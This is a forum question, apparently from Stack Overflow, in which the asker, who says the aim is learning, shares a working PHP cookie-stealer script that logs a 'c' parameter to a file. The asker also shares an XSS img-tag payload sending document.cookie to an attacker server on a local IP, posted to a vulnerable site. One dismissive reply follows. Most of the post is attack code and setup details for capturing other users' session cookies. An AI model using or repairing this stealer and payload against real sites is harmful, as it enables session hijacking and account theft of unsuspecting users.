I am trying to steal cookies for learning purpose and for that I have setup an attacker server where my malicious website is running stealing cookies of users and it works when I visit like
http://192.168.8.102/cookiestealer.php?c=document.cookie
It records whatever c parameter holds, in above case document.cookie string.
The simple cookie stealer has following lines of code in it
<?php
header('Location:https://google.com');
$cookies = $_GET["c"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookies . "\n\n");
?>
The problem is when I use same link in img tag src attribute, it doesn't log anything in log.txt file. I am using following post on the vulnerable site;
<img src="http://192.168.8.102/cookiestealer.php?c="+document.cookie onerror="alert('Your cookie has been served')" />
But it does not log anything on server. However the file does change as the editor prompts me to reload but there is nothing written over it. There is no HTTPOnly=true for any cookie on this site.
Any suggestions? THanks.
document.cookie
like that. You should first learn the basis about html/css/javascript. – Xavier59 May 27 '18 at 10:55